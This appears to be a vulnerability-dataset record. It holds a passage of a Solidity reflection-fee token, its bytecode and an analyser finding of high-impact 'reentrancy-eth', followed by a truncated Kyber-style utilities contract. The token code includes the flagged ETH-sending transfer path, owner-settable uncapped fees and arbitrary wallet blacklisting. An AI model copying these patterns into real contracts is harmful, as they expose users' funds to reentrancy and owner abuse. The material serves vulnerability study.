address payable private _developmentAddress = payable(0xd38d2560906Af594ec6C224a1CfD932207D06E92);//
address payable private _marketingAddress = payable(0xd38d2560906Af594ec6C224a1CfD932207D06E92);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9; // 1%
uint256 public _maxWalletSize = 3000000000 * 10**9; // 3%
uint256 public _swapTokensAtAmount = 1000000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610519578063dd62ed3e1461052f578063ea1644d514610575578063f2fde38b1461059557600080fd5b8063a9059cbb14610494578063bfd79284146104b4578063c3c8cd80146104e4578063c492f046146104f957600080fd5b80638f9a55c0116100d15780638f9a55c01461043e57806395d89b41146101fe57806398a5c31514610454578063a2a957bb1461047457600080fd5b80637d1db4a5146103ea5780638da5cb5b146104005780638f70ccf71461041e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027057806318160ddd146102a857806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024057600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b35565b6105b5565b005b34801561020a57600080fd5b50604080518082018252600a81526946757475726520496e7560b01b602082015290516102379190611c67565b60405180910390f35b34801561024c57600080fd5b5061026061025b366004611a85565b610654565b6040519015158152602001610237565b34801561027c57600080fd5b50601554610290906001600160a01b031681565b6040516001600160a01b039091168152602001610237565b3480156102b457600080fd5b5068056bc75e2d631000005b604051908152602001610237565b3480156102da57600080fd5b506102606102e9366004611a44565b61066b565b3480156102fa57600080fd5b506102c060195481565b34801561031057600080fd5b5060405160098152602001610237565b34801561032c57600080fd5b50601654610290906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b3660046119d1565b6106d4565b34801561036c57600080fd5b506101fc61037b366004611c01565b61071f565b34801561038c57600080fd5b506101fc610767565b3480156103a157600080fd5b506102c06103b03660046119d1565b6107b2565b3480156103c157600080fd5b506101fc6107d4565b3480156103d657600080fd5b506101fc6103e5366004611c1c565b610848565b3480156103f657600080fd5b506102c060175481565b34801561040c57600080fd5b506000546001600160a01b0316610290565b34801561042a57600080fd5b506101fc610439366004611c01565b610877565b34801561044a57600080fd5b506102c060185481565b34801561046057600080fd5b506101fc61046f366004611c1c565b6108c3565b34801561048057600080fd5b506101fc61048f366004611c35565b6108f2565b3480156104a057600080fd5b506102606104af366004611a85565b610930565b3480156104c057600080fd5b506102606104cf3660046119d1565b60116020526000908152604090205460ff1681565b3480156104f057600080fd5b506101fc61093d565b34801561050557600080fd5b506101fc610514366004611ab1565b610991565b34801561052557600080fd5b506102c060085481565b34801561053b57600080fd5b506102c061054a366004611a0b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058157600080fd5b506101fc610590366004611c1c565b610a32565b3480156105a157600080fd5b506101fc6105b03660046119d1565b610a61565b6000546001600160a01b031633146105e85760405162461bcd60e51b81526004016105df90611cbc565b60405180910390fd5b60005b81518110156106505760016011600084848151811061060c5761060c611e03565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061064881611dd2565b9150506105eb565b5050565b6000610661338484610b4b565b5060015b92915050565b6000610678848484610c6f565b6106ca84336106c585604051806060016040528060288152602001611e45602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061122d565b610b4b565b5060019392505050565b6000546001600160a01b031633146106fe5760405162461bcd60e51b81526004016105df90611cbc565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107495760405162461bcd60e51b81526004016105df90611cbc565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b0316148061079c57506014546001600160a01b0316336001600160a01b0316145b6107a557600080fd5b476107af81611267565b50565b6001600160a01b038116600090815260026020526040812054610665906112ec565b6000546001600160a01b031633146107fe5760405162461bcd60e51b81526004016105df90611cbc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108725760405162461bcd60e51b81526004016105df90611cbc565b601755565b6000546001600160a01b031633146108a15760405162461bcd60e51b81526004016105df90611cbc565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146108ed5760405162461bcd60e51b81526004016105df90611cbc565b601955565b6000546001600160a01b0316331461091c5760405162461bcd60e51b81526004016105df90611cbc565b600993909355600b91909155600a55600c55565b6000610661338484610c6f565b6013546001600160a01b0316336001600160a01b0316148061097257506014546001600160a01b0316336001600160a01b0316145b61097b57600080fd5b6000610986306107b2565b90506107af81611370565b6000546001600160a01b031633146109bb5760405162461bcd60e51b81526004016105df90611cbc565b60005b82811015610a2c5781600560008686858181106109dd576109dd611e03565b90506020020160208101906109f291906119d1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2481611dd2565b9150506109be565b50505050565b6000546001600160a01b03163314610a5c5760405162461bcd60e51b81526004016105df90611cbc565b601855565b6000546001600160a01b03163314610a8b5760405162461bcd60e51b81526004016105df90611cbc565b6001600160a01b038116610af05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105df565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bad5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105df565b6001600160a01b038216610c0e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105df565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105df565b6001600160a01b038216610d355760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105df565b60008111610d975760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105df565b6000546001600160a01b03848116911614801590610dc357506000546001600160a01b03838116911614155b1561112657601654600160a01b900460ff16610e5c576000546001600160a01b03848116911614610e5c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105df565b601754811115610eae5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105df565b6001600160a01b03831660009081526011602052604090205460ff16158015610ef057506001600160a01b03821660009081526011602052604090205460ff16155b610f485760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105df565b600854610f56906002611d62565b4311158015610f7257506016546001600160a01b038481169116145b8015610f8c57506015546001600160a01b03838116911614155b8015610fa157506001600160a01b0382163014155b15610fca576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b0383811691161461104f5760185481610fec846107b2565b610ff69190611d62565b1061104f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105df565b600061105a306107b2565b6019546017549192508210159082106110735760175491505b80801561108a5750601654600160a81b900460ff16155b80156110a457506016546001600160a01b03868116911614155b80156110b95750601654600160b01b900460ff165b80156110de57506001600160a01b03851660009081526005602052604090205460ff16155b801561110357506001600160a01b03841660009081526005602052604090205460ff16155b156111235761111182611370565b4780156111215761112147611267565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061116857506001600160a01b03831660009081526005602052604090205460ff165b8061119a57506016546001600160a01b0385811691161480159061119a57506016546001600160a01b03848116911614155b156111a757506000611221565b6016546001600160a01b0385811691161480156111d257506015546001600160a01b03848116911614155b156111e457600954600d55600a54600e555b6016546001600160a01b03848116911614801561120f57506015546001600160a01b03858116911614155b1561122157600b54600d55600c54600e555b610a2c848484846114f9565b600081848411156112515760405162461bcd60e51b81526004016105df9190611c67565b50600061125e8486611dbb565b95945050505050565b6013546001600160a01b03166108fc611281836002611527565b6040518115909202916000818181858888f193505050501580156112a9573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112c4836002611527565b6040518115909202916000818181858888f19350505050158015610650573d6000803e3d6000fd5b60006006548211156113535760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105df565b600061135d611569565b90506113698382611527565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113b8576113b8611e03565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140c57600080fd5b505afa158015611420573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144491906119ee565b8160018151811061145757611457611e03565b6001600160a01b03928316602091820292909201015260155461147d9130911684610b4b565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b6908590600090869030904290600401611cf1565b600060405180830381600087803b1580156114d057600080fd5b505af11580156114e4573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b806115065761150661158c565b6115118484846115ba565b80610a2c57610a2c600f54600d55601054600e55565b600061136983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116b1565b60008060006115766116df565b90925090506115858282611527565b9250505090565b600d5415801561159c5750600e54155b156115a357565b600d8054600f55600e805460105560009182905555565b6000806000806000806115cc87611721565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115fe908761177e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461162d90866117c0565b6001600160a01b03891660009081526002602052604090205561164f8161181f565b6116598483611869565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161169e91815260200190565b60405180910390a3505050505050505050565b600081836116d25760405162461bcd60e51b81526004016105df9190611c67565b50600061125e8486611d7a565b600654600090819068056bc75e2d631000006116fb8282611527565b8210156117185750506006549268056bc75e2d6310000092509050565b90939092509050565b600080600080600080600080600061173e8a600d54600e5461188d565b925092509250600061174e611569565b905060008060006117618e8787876118e2565b919e509c509a509598509396509194505050505091939550919395565b600061136983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061122d565b6000806117cd8385611d62565b9050838110156113695760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105df565b6000611829611569565b905060006118378383611932565b3060009081526002602052604090205490915061185490826117c0565b30600090815260026020526040902055505050565b600654611876908361177e565b60065560075461188690826117c0565b6007555050565b60008080806118a760646118a18989611932565b90611527565b905060006118ba60646118a18a89611932565b905060006118d2826118cc8b8661177e565b9061177e565b9992985090965090945050505050565b60008080806118f18886611932565b905060006118ff8887611932565b9050600061190d8888611932565b9050600061191f826118cc868661177e565b939b939a50919850919650505050505050565b60008261194157506000610665565b600061194d8385611d9c565b90508261195a8583611d7a565b146113695760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105df565b80356119bc81611e2f565b919050565b803580151581146119bc57600080fd5b6000602082840312156119e357600080fd5b813561136981611e2f565b600060208284031215611a0057600080fd5b815161136981611e2f565b60008060408385031215611a1e57600080fd5b8235611a2981611e2f565b91506020830135611a3981611e2f565b809150509250929050565b600080600060608486031215611a5957600080fd5b8335611a6481611e2f565b92506020840135611a7481611e2f565b929592945050506040919091013590565b60008060408385031215611a9857600080fd5b8235611aa381611e2f565b946020939093013593505050565b600080600060408486031215611ac657600080fd5b833567ffffffffffffffff80821115611ade57600080fd5b818601915086601f830112611af257600080fd5b813581811115611b0157600080fd5b8760208260051b8501011115611b1657600080fd5b602092830195509350611b2c91860190506119c1565b90509250925092565b60006020808385031215611b4857600080fd5b823567ffffffffffffffff80821115611b6057600080fd5b818501915085601f830112611b7457600080fd5b813581811115611b8657611b86611e19565b8060051b604051601f19603f83011681018181108582111715611bab57611bab611e19565b604052828152858101935084860182860187018a1015611bca57600080fd5b600095505b83861015611bf457611be0816119b1565b855260019590950194938601938601611bcf565b5098975050505050505050565b600060208284031215611c1357600080fd5b611369826119c1565b600060208284031215611c2e57600080fd5b5035919050565b60008060008060808587031215611c4b57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c9457858101830151858201604001528201611c78565b81811115611ca6576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d415784516001600160a01b031683529383019391830191600101611d1c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d7557611d75611ded565b500190565b600082611d9757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db657611db6611ded565b500290565b600082821015611dcd57611dcd611ded565b500390565b6000600019821415611de657611de6611ded565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107af57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220058465eca8faa29df736cdd1597dce0cb887e96675b148b842eb8f42f8ba34a364736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,525 |
0x8bf5C569ECFD167f96FaE6d9610e17571568A6A1
|
pragma solidity 0.4.18;
// File: contracts/ERC20Interface.sol
// https://github.com/ethereum/EIPs/issues/20
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/KyberReserveInterface.sol
/// @title Kyber Reserve contract
interface KyberReserveInterface {
function trade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
public
payable
returns(bool);
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint);
}
// File: contracts/Utils.sol
/// @title Kyber constants contract
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28); // 10B tokens
uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint tokenDecimals = decimals[token];
// technically, there might be token with decimals 0
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
}
// File: contracts/Utils2.sol
contract Utils2 is Utils {
/// @dev get the balance of a user.
/// @param token The token type
/// @return The balance
function getBalance(ERC20 token, address user) public view returns(uint) {
if (token == ETH_TOKEN_ADDRESS)
return user.balance;
else
return token.balanceOf(user);
}
function getDecimalsSafe(ERC20 token) internal returns(uint) {
if (decimals[token] == 0) {
setDecimals(token);
}
return decimals[token];
}
function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns(uint) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns(uint) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals)
internal pure returns(uint)
{
require(srcAmount <= MAX_QTY);
require(destAmount <= MAX_QTY);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount);
}
}
}
// File: contracts/PermissionGroups.sol
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
/**
* @dev Allows the current admin to set the pendingAdmin address.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
/**
* @dev Allows the current admin to set the admin in one tx. Useful initial deployment.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed( address newAdmin, address previousAdmin);
/**
* @dev Allows the pendingAdmin address to finalize the change admin process.
*/
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
